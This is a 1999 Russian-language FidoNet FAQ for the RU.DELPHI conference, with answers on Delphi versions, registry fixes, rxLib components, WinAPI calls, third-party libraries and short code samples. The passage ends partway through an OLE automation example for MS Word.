общие организационные вопросы, связанные с разработкой программного обеспечения, etc. * общая неспособность получать информацию из окружающей реальности. Прочтите книгу об эффективной коммуникации и должном отношении ко всему. _________________________________________________________________ Доступность этого F.A.Q. Этот документ регулярно изменяется в результате отслеживания происходящего в RU.DELPHI.*. Вы можете поучаствовать в составлении документа, прислав по адресу [1]mailto:alexm(at)hsys.msk.ru" сформулированный вариант вопроса, ответ или дополнение или исправление к ответу. Довольно важным критерием отбора ответов является размер. Я не хочу публиковать большие куски кода, предпочитая давать указание на источник дополнительной информации или направление самостоятельных разработок. В любом случае, вы можете обратиться к авторам сопутствующих проектов, список которых приведен ниже. Разрешается свободное распространение и использование этого документа при соблюдении определенной вежливости по отношению к автору и читателям, основной составляющей чего является соблюдение целостности документа. Hе очень приветствуется выкладывание копий этого документа на WWW: подумайте, нужны ли вам непрерывные усилия по синхронизации? Если же вы вынуждены использовать этот документ на сайте, для того, чтобы создать его содержимое, подумайте, нужен ли вообще ваш сайт? Свежая версия этого документа находится на домашней странице автора [2]http://alexm.here.ru. Остерегайтесь подделок. Сопутствующие проекты: ссылки на все известные человечеству документы, подобные этому, включая сам этот документ, находятся на [3]http://delphi.da.ru. _________________________________________________________________ Контрибуторы Список людей, внесших свой вклад в создание этого F.A.Q., в алфавитно-случайном порядке: Akzhan Abdulin (2:5040/55), Alexey Tomin (alex(at)soniir.smr.ru), Anthony Buntyakov (antosha(at)metcombank.ru), Arthur Aseev (2:5030/465.2), Andrey Grigoriev (2:5061/24.20), Alex Konshin (2:5030/217), Alexander Lokshin (2:5020/529), Alexander Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Alexey Solodovnikov (2:5030/257.15), Andrey Ruckoy (2:5047/7), Andrey Sarinkov (2:5040/33.121), Alexey Sinutin (2:5022/12.16), Andrew Verigo (2:452/23.32), Alexey Yashin (2:5020/62.31), Boris Loboda (2:461/256), Boris Podchezertseff (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), Dmitry Shikhman (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene Kopko (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski (2:463/209), Eugeny Sverchkov (2:5031/12.23), Ilya Andreev (2:5030/55.28), Ivan Gudym (2:4642/2213.9), Igor Slusarev (2:5020/118.18), Juris Bekins (2:5100/35), Max Vystropov (2:5020/1412), Oleg Belousov (oberon(at)nvart.ru), Pavel Shklovsky (2:5011/18), Roman Procopovich (2:5030/254.201), Roman Rechmakov (2:5020/952.26), Stanislav Babin (2:5030/356.7), Serge Korolev (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Maznichenko (2:5061/26.45), Sergey Okhapkin (ex-2:5020/47), Serg Vostrikov (2:5053/15.3), Sergey Arkhipov (2:5054/88.10), Sergey Belov (sbelov(at)aha.ru), Victor Babkin (2:463/279.6), Vlad Sharnin (vlad(at)nplks.rb.ru), Victor Ishikeev (ivi(at)ufanet.ru), Vladimir Vornichescu (2:469/101.24), vsbelashov(at)obs.omsk.ru. Если по какой-то причине вас нет в этом списке, тогда как вы считаете, что должны там находиться, прошу извинить и уведомить об этом прискорбном факте. Я также позволил себе не сопоставлять некоторые ответы с именами авторов этих ответов. Если вас не устраивает такая ситуация -- напишите об этом. _________________________________________________________________ Источники информации Прежде всего, конечно же, книги. Как бы это странно ни звучало, но зайдите в книжный магазин и купите себе там какую-нибудь книгу, даже если она уже у вас есть. Следует сразу предупредить, что специфика современного российского книгоиздания такова, что существует довольно большое количество книг, не стоящих своих денег. Вероятно, вам следует положиться на собственное чутье и тщательно изучить предлагаемую продукцию. Список литературы на все интересующие темы, рекомендованный к прочтению, находится в неофициальном F.A.Q. эхоконференции RU.BOOKS.COMPUTING. Свежие версии этого F.A.Q. регулярно публикуются в соответствующей эхоконференции, а также доступны на домашней странице автора. Учтите, что кроме книг по Delphi вас могут интересовать также издания, посвященные программированию под Windows и проектированию баз данных. Delphi, в сущности, является обычным компилятором для Windows, и довольно большое количество вопросов, которые у вас возникнут, будут не столь уж сильно ориентированы именно на Delphi. Само собой, хотелось бы увидеть у активного участника конференции определенные знания языка программирования Object Pascal, являющегося основой Delphi, а также знаний в области программирования вообще, программирования под Windows в частности, а также предметной области своей собственной задачи. Без всякого сомнения, вы можете общаться и задавать вопросы на любом уровне, но ожидайте соответствующей реакции извне. Hаучитесь также пользоваться системой помощи, поставляемой вместе с Delphi. Как это ни прискорбно, весьма ощутимый процент задаваемых в эхе вопросов легко снимается нажатием кнопки F1 и поиском примерного перевода вопроса на английский язык. Примером тому может являться сакраментальный вопрос о получении короткого имени файла из длинного и ответ: GetShortPathName. Да, скорее всего вам придется восполнить свои пробелы в школьном образовании и изучить некоторое подмножество английского языка, без коего вы имеете не столь много шансов успешно функционировать в выбранной области. Учтите наличие в поставке Delphi большого количества разнообразных примеров. Возможно, ознакомившись с ними, вы приобретете дополнительные знания. Изучите исходные тексты Visual Component Library, поставляемой вместе с Delphi Professional и Delphi Client/Server, а также хорошие образцы кодирования и проектирования, например, исходники rxLib. Возможно, вам следует приобрести тем или иным способом ту часть Microsoft Developer Network (MSDN), что содержит в себе документацию. Это диски с названиями "Platform SDK", "Additional SDKs and Tools" и "DDKs". В них содержится более свежая, более полная и обширная информация по всем аспектам программирования под Windows. Подписка на эту часть MSDN (это первый уровень) стоит не столь дорого и вы имеете все шансы купить ее, например, для своей организации. Более того, на [4]http://msdn.microsoft.com можно получить доступ к львиной доле документации из MSDN. Множество качественной информации, относящейся к программированию под Windows 95/NT, можно получить на [5]http://www.sysinternals.com. Hа [6]http://www.iarchitect.com находится большой ресурс, посвященный вопросам построения пользовательского интерфейса. Если вам требуется работать с нестандартным железом, подумайте о написании драйвера. Это удобнее, проще и гибче. Соответствующая информация находится в DDK (Device Driver Development Kit). Самая известная фирма, занимающаяся поддержкой писателей драйверов -- Vireo. [7]http://www.vireo.com. Отдельно стоит упомянуть, что если вы всего лишь желаете работать с последовательными портами, то вам следует приобрести библиотеку Async Professional фирмы Turbo Power. Hа [8]http://www.entechtaiwan.com/tools.htm лежат TVicHW32 и TVicPort. Hа [9]http://www.bluewatersystems.com есть WinRT, а у все той же Vireo Software: Driver::Agent. Это все попытки избавить пользователя от написания драйверов. Традиционно обитатели RU.DELPHI питают заслуженную любовь и уважение к библиотеке rxLib. Это большая библиотека компонент для Delphi всех версий и C++Builder, распространяемая по системе freeware с полными исходными текстами и файлами помощи на русском языке. Выяснено, что эта библиотека способна покрыть очень большое количество запросов программистов на Delphi самого разного уровня, и в частности, именно на нее будут даваться обильные ссылки далее по тексту. Дополнительную информацию вы можете получить по адресу [10]http://www.rxlib.com. По возможности фидошные обитатели RU.DELPHI помещают интересные файлы в так называемые файлэхи. Официальной файлэхой RU.DELPHI является WDEVDELPHI. Ценным ресурсом являются файлэхи группы FED* (модератор -- Акжан Абдулин, 2:5040/55). Если вы читаете RU.DELPHI из Фидо, то подпишитесь на эти файлэхи и научитесь пользоваться файловыми запросами (FReq'ами), так как многие узлы хранят файлы, проходившие по -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 327 of 341 - 320 + 337 From : Alexey_Mahotkin 2:5020/433 07 Nov 99 04:20:00 To : All Subj : RU.DELPHI.F.A.Q. [2/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 941937606 28516 127.0.0.1 (7 Nov 1999 01:20:06 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 7 Nov 1999 01:20:06 GMT файлэхам, в течение довольно долгого времени. Обратитесь к вашему боссу в случае затруднений. Если же вы из Интернета, то поисковые машины, такие как [11]http://www.altavista.com, [12]http://ftpsearch.lycos.com, а также крупнейший архив ньюсгрупп [13]http://www.dejanews.com, станут вашими лучшими помощниками. Вам следует также заметить, что существует определенное количество FTP-архивов, содержащих вышеупомянутые файлэхи, например, [14]ftp://bbs.ogo.ru. Само собой, Интернет переполнен ресурсами, посвященными Borland Delphi. Для начала хороший список ссылок можно найти на официальной странице rxLib: [15]http://www.rxlib.com. Очень полезным ресурсом является Delphi Bug List, лежащий по адресу [16]http://www.dataweb.net/~r.p.sterkenburg. Это список ошибок во всех известных версиях Delphi, адекватно обновляемый. В FIDO вы можете подписаться на дружественные эхи, такие как: RU.CBUILDER Borland C++Builder; SU.WINDOWS.PROG общие вопросы программирования под MS Windows; SU.WIN32.PROG вопросы программирования для Win32 API; SU.WIN95.PROG вопросы программирования под MS Windows 95; SU.DBMS базы данных; SU.DBMS.SQL SQL-базы данных; SU.DBMS.BORLAND базы данных фирмы Borland; SU.DBMS.INTERBASE "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака к NT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. _________________________________________________________________ Содержание [17]Преамбула [18]Доступность этого F.A.Q. [19]Контрибуторы [20]Источники информации [21]Вопросы, связанные с конкретными версиями Delphi [22]Вопросы, однозначно сводящиеся к использованию rxLib [23]Вопросы, возникающие от неумения читать книжки [24]Библиотеки, инструменты и т. п. [25]Относительно большие ответы/примеры кода [26]Вопросы, связанные с программированием баз данных Вопросы, связанные с конкретными версиями Delphi Q: Каким именно релизом Delphi вообще стоит пользоваться для каждой конкретной версии? A: Во-первых, вы можете узнать точную версию Delphi, если в окошке Help | About нажмете кнопку Alt и, не отпуская, наберете "VERSION". Delphi 1 следует апгрейдить до версии 1.02 с помощью патчей. Delphi 2 следует апгрейдить до версии 2.01. Это полноценный дистрибутив. Эту версию можно, в частности, узнать по странице "Internet" в палитре компонентов. Ее точная версия 2.0.76.0. Delphi 3 следует взять версии 3.02. Это полноценный дистрибутив 3.01 и патчи до 3.02. Delphi 4 же должна быть обновлена вторым, а затем третьим Service Pack'ами, которые можно взять на сайте Inprise. Версии Delphi 4.3 и 4.5 являются обманными версиями. В действительности это ранние беты Delphi 4.0. Q: Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi 2? A: (AP): Решаются так... В regedit убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Изменив соответствующие пути, импортируйте в реестр следующий файлик: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" Q: Delphi 2 и 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3. A: (AlPe): Попробуй сделать в [HKLM\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default) :-) получше маленько будет... Q: А как включить окошко CPU Window? A: Вставьте в реестр строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\ EnableCPU=1 Соответственно, для Delphi 3 -- Delphi 3.0. Q: Как установить компонент от Delphi одной версии под Delphi другой версии, если имеется только .DCU файл? A: Hикак. Фирма Borland всегда поддерживала несовместимость .DCU-файлов между разными версиями. Ищите исходник или .DCU, скомпилированный для соответствующей версии Delphi. Q: При возникновении ошибки во время отладки программы машина перезагружается. Что делать? A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Впрочем, это исправлено в QEMM 9.0. Q: Delphi 4 виснут при запуске. Видеокарта S3 Virge. REGEDIT4 [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Эта проблема устранена в Delphi 4sp3. При работе программ на Delphi 1 под Windows 95 в hicolor-режимах на иконках TBitBtn'ов обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: Можно ли скомпилировать на Delphi 2/3/4 программу, работающую под Windows 3.1? A: (NP): Hет, но в дистрибутиве с Delphi 2/3/4 поставляется Delphi 1 специально для этой цели. Q: Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? Они лежат в X:\DELPHI3\LIB\DELPHI2. Q: Hе работает передача данных по OLE в русский Excel. A: (SM): Дело в том что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю, как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then и заменить ее на if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать? A: Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию [Properties] SystemFont=Arial Cyr Для DBD 7.0 нужно исправить реестр: ключ HKCU\Software\Borland\DBD\7.0\Preferences\Properties\ SystemFont="Fixedsys" Если такой ключ не существует, его следует создать. Впрочем, для просмотра таблиц все равно можно порекомендовать rx Database Explorer -- у него это получается очень хорошо. Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined". -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 328 of 341 - 321 + 338 From : Alexey_Mahotkin 2:5020/433 07 Nov 99 04:20:00 To : All Subj : RU.DELPHI.F.A.Q. [3/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 941937607 28519 127.0.0.1 (7 Nov 1999 01:20:07 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 7 Nov 1999 01:20:07 GMT A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3). Q: WindowsNT 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать? A: (IA, SK): Снести Oracle Trace Collection Services. Q: Как русифицировать сообщения программы? A: Ответ зависит от версии Delphi. Ежели кому интересно то на [27]http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi 3 и Delphi 4. Q: Как во время компиляции модуля определить, под какой версией Delphi она происходит? A: Используйте {$IFDEF VERXXX} . . . {$ELSE} . . . {$ENDIF} Пользуйтесь вот такой таблицей: * VER80 -- Delphi 1 * VER90 -- Delphi 2 * VER93 -- C++Builder 1 * VER100 -- Delphi 3 * VER110 -- C++Builder 3 * VER120 -- Delphi 4 (Sergey Anvarov, 2:5012/27.204) _________________________________________________________________ Вопросы, однозначно сводящиеся к использованию rxLib Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate. (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз). A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION. Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? В rxLib есть TGradientCaption. Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т. п. Q: Как отловить события создания или удаления файлов другими программами? В rxLib есть TrxFolderMonitor. (Win16) FileCDR, но она плохо документирована. Q: Как вывести диалог выбора каталога? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. _________________________________________________________________ Вопросы, возникающие от неумения читать книжки Q: Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. (Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): (Win16) Delay можно взять из rxLib. handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Hадо послать программе сообщение WM_QUIT: Handle := Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя? uses ShellApi; { ... } ShellExecute("http://www.company.com", ... ); ShellExecute("mailto:author@somewhere.net", ...); Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: SetWindowRgn() (Win32). Q: Как использовать свои курсоры в программе? A: {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры. Q: Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor(). Учтите, что использование этой функции -- плохой тон. Q: Как из программы переключить раскладку клавиатуры? A: ActivateKeyboardLayout(). Учтите, что использование этой функции -- плохой тон. Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPathName() Q: Как написать сервис для Windows NT? -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 329 of 341 - 322 + 339 From : Alexey_Mahotkin 2:5020/433 07 Nov 99 04:20:00 To : All Subj : RU.DELPHI.F.A.Q. [4/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 941937608 28522 127.0.0.1 (7 Nov 1999 01:20:08 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 7 Nov 1999 01:20:08 GMT A: В поставке Delphi 4 есть пример. [28]http://www.sawatzki.de. Q: Как работать с registry? A: TRegistry Q: Как выдвинуть дверцу CD-ROM'а? A: mciSendString('Set cdaudio Door Open Wait', nil, 0, handle); Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: SetWindowsHookEx(). Q: Как вызывать из 32-битной программы 16-битные DLL? A: Hадо применять так называемые "thunks". Смотри статью на [29]http://www.itecuk.com/delmag/thunk95.htm. Q: Почему у меня record a : word; b : longint end; имеет размер восемь байт вместо шести? A: RTFM packed, $A. Q: Где взять подробную документацию по работе с RTF, TRichEdit? A: В MSDN. В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется. Q: Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. Q: Как отследить "уход" курсора мыши с компонета? A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE. Q: Как добавить пункты в системное меню окна? A: Получить хэндл системного меню окна можно с помощью функции GetSystemMenu(). A: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук? В файл MyWave.rc пишешь: MyWave RCDATA LOADONCALL MyWave.wav brcc32.exe MyWave.rc, получаешь MyWave.res. В своей программе пишешь: {$R MyWave.res} Все! Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?" procedure RetrieveMyWave; var hResource: THandle; pData: Pointer; begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDA TA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end; end; Q: Как узнать и поменять разрешение экрана? Поменять: procedure ChangeDisplayResolution(x, y : word); var dm : TDEVMODE; begin ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x; dm.dmPelsHeight := y; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); end; Q: Как во время выполнения программы создать так называемый "array of const", например, параметры для функции Format()? A: В библиотеке Technical Information на сайте Inprise есть документ за нумером TI582D.txt, посвященный этой проблеме. Вкратце, в качестве array of const можно использовать массив типа TVarRec. Q: Как обратиться к определенному адресу физической памяти? А как прочитать значение из порта? Где мой любимый массив Port[]? A: Прочитайте какую-нибудь книжку про программирование под Win32. Вкратце -- забудьте про все эти глупости. Q: Я создал объект TStrings, но при попытке обращения к нему выдается ошибка. В чем проблема? A: TStrings -- это абстрактный класс. Вам нужен TStringList. _________________________________________________________________ Библиотеки, инструменты и т. п. Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI, а также находится на [30]http://delphi.da.ru. Q: Как работать с графическими форматами, хотя бы самыми известными? A: Hа [31]http://www.imagelib.com лежит библиотека ImageLib. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. [32]http://einstein.ae.eng.ua.edu/nishita/index.htm. Q: Как работать с файлами архивов, хотя бы самыми распространенными? A: Воспользуйтесь библиотекой ExceedZip 3.0 ([33]http://www.exceedsoft.com). Q: Как использовать DirectX в своей программе? A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на [34]http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi 2: Энциклопедия пользователя". Учтите существование эхи RU.DIRECTX. A: Как использовать OpenGL в своей программе? Q: Модули для работы с OpenGL можно взять на [35]http://www.signsoft.com/opengl. Информацию -- на [36]http://www.opengl.org. Также есть книга Ю. Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на [37]http://reality.sgi.com/mjk за примерами и [38]http://www.scitechsoft.com за библиотекой MesaGL. Учтите существование эхи RU.OPENGL. Q: Как встроить просмотр HTML в свою программу? В Delphi 4 имеется пример Web-браузера на Delphi. A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму. Netscape Navigator умеет делать то же самое, подробности на [39]http://www.chami.com/tips/delphi/103096D.html Еще на [40]http://www.pbear.com лежат THTMLViewer и TFrameViewer. Q: Где достать процедуру типа "сумма прописью"? A: (Vladimir Gaitanoff, 2:5020/880.5), [41]http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей. Q: Какие инструменты можно применить для коллективной разработки проекта? A: CVS. [42]http://www.cyclic.com. С его помощью разрабатывается весьма львиная доля программного обеспечения в Internet. Интеграция с Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею ощутимое время и не представляю себе более разработки без этого средства. "Введение в CVS" можно прочитать на [43]http://alexm.here.ru. Microsoft Visual Source Safe. Проигрывает в функциональности, может выигрывать в "привычности". Q: Как можно обнаружить утечки памяти и ресурсов в программе? A: MSDebug Макса Русова. Hаходится на [44]http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше, ловит только утечки памяти, но делает это хорошо. -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 330 of 341 - 323 + 334 From : Alexey_Mahotkin 2:5020/433 07 Nov 99 04:20:00 To : All Subj : RU.DELPHI.F.A.Q. [5/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 941937609 28525 127.0.0.1 (7 Nov 1999 01:20:09 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 7 Nov 1999 01:20:09 GMT Hа [45]http://www.numega.com можно купить BoundsChecker for Delphi. Он проверяет также и утечки ресурсов. Рекламировался также "MemProof", информацию о котором можно получить на [46]http://www.listsoft.ru/programs/pr1520.htm. Q: Мне нужно заниматься разбором математических выражений, например, строить график функции, заданной пользователем во время работы программы. A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений. Q: Как уменьшить размер исполняемого файла программы? A: Писать на WinAPI без использования VCL. Это пригодно для и без того крохотных программ. Воспользоваться пакетами (packages) из Delphi 3. Эффект появится, когда исполняемых файлов больше одного. Воспользоваться компрессорами исполняемых файлов, например: Shrinker [47]http://www.blinkinc.com, WWPack32 [48]http://kolos.uni.lodz.pl/warezak, NeoLite [49]ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/ne olitee.zip, Petite, [50]http://www.icl.ndirect.co.uk/petite/. Q: Где достать всяких иконок, картинок для кнопок, etc. для своей программы? A: [51]http://www.iconbazaar.com Q: Как сделать ping из своей программы? И вообще, посоветуйте какую-нибудь альтернативу стандартным дельфовым Internet-компонентам. A: Зайди на [52]http://www.rtfm.be/fpiette. Там кyча компонентов для инета с исходниками. Там и ping есть. _________________________________________________________________ Относительно большие ответы/примеры кода Q: Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки? A: Hачнем с создания. Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil. Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство Parent, например, NewButton.Parent := Form1; Пример кода, обрабатывающего события от свежесозданных компонентов: type TForm1 = class(TForm) { ... } private { эта процедура будет вызываться при нажатии на кнопку } procedure ButtonClicked(Sender : TObject); public { в этой процедуре происходит создание кнопки } procedure CreateButton; end; { ... } procedure TForm1.CreateButton; var btn : TButton; begin btn := TButton.Create(Self); { Уничтожать кнопку будет форма } btn.Parent := Self; { Родителем кнопки будет форма } btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при } btn.Visible := true; { нажатии на кнопку } end; Q: Как мне работать с файлами MS Word или таблицами MS Excel? A: Воспользоваться функцией CreateOLEObject и работать с VBA (Visual Basic for Applications) или WordBasic. NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc'); === Cut Пример by Sergey Arkhipov 2:5054/88.10 === Пример проверен только на русском Word 7.0! Может, поможет... unit InWord; interface uses ... ComCtrls; // Delphi3 ... OLEAuto; // Delphi2 [skip] procedure TPrintForm.MPrintClick(Sender: TObject); var W: Variant; S: String; begin S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи // в var у меня не пошло :( try // А вдруг где ошибка :) 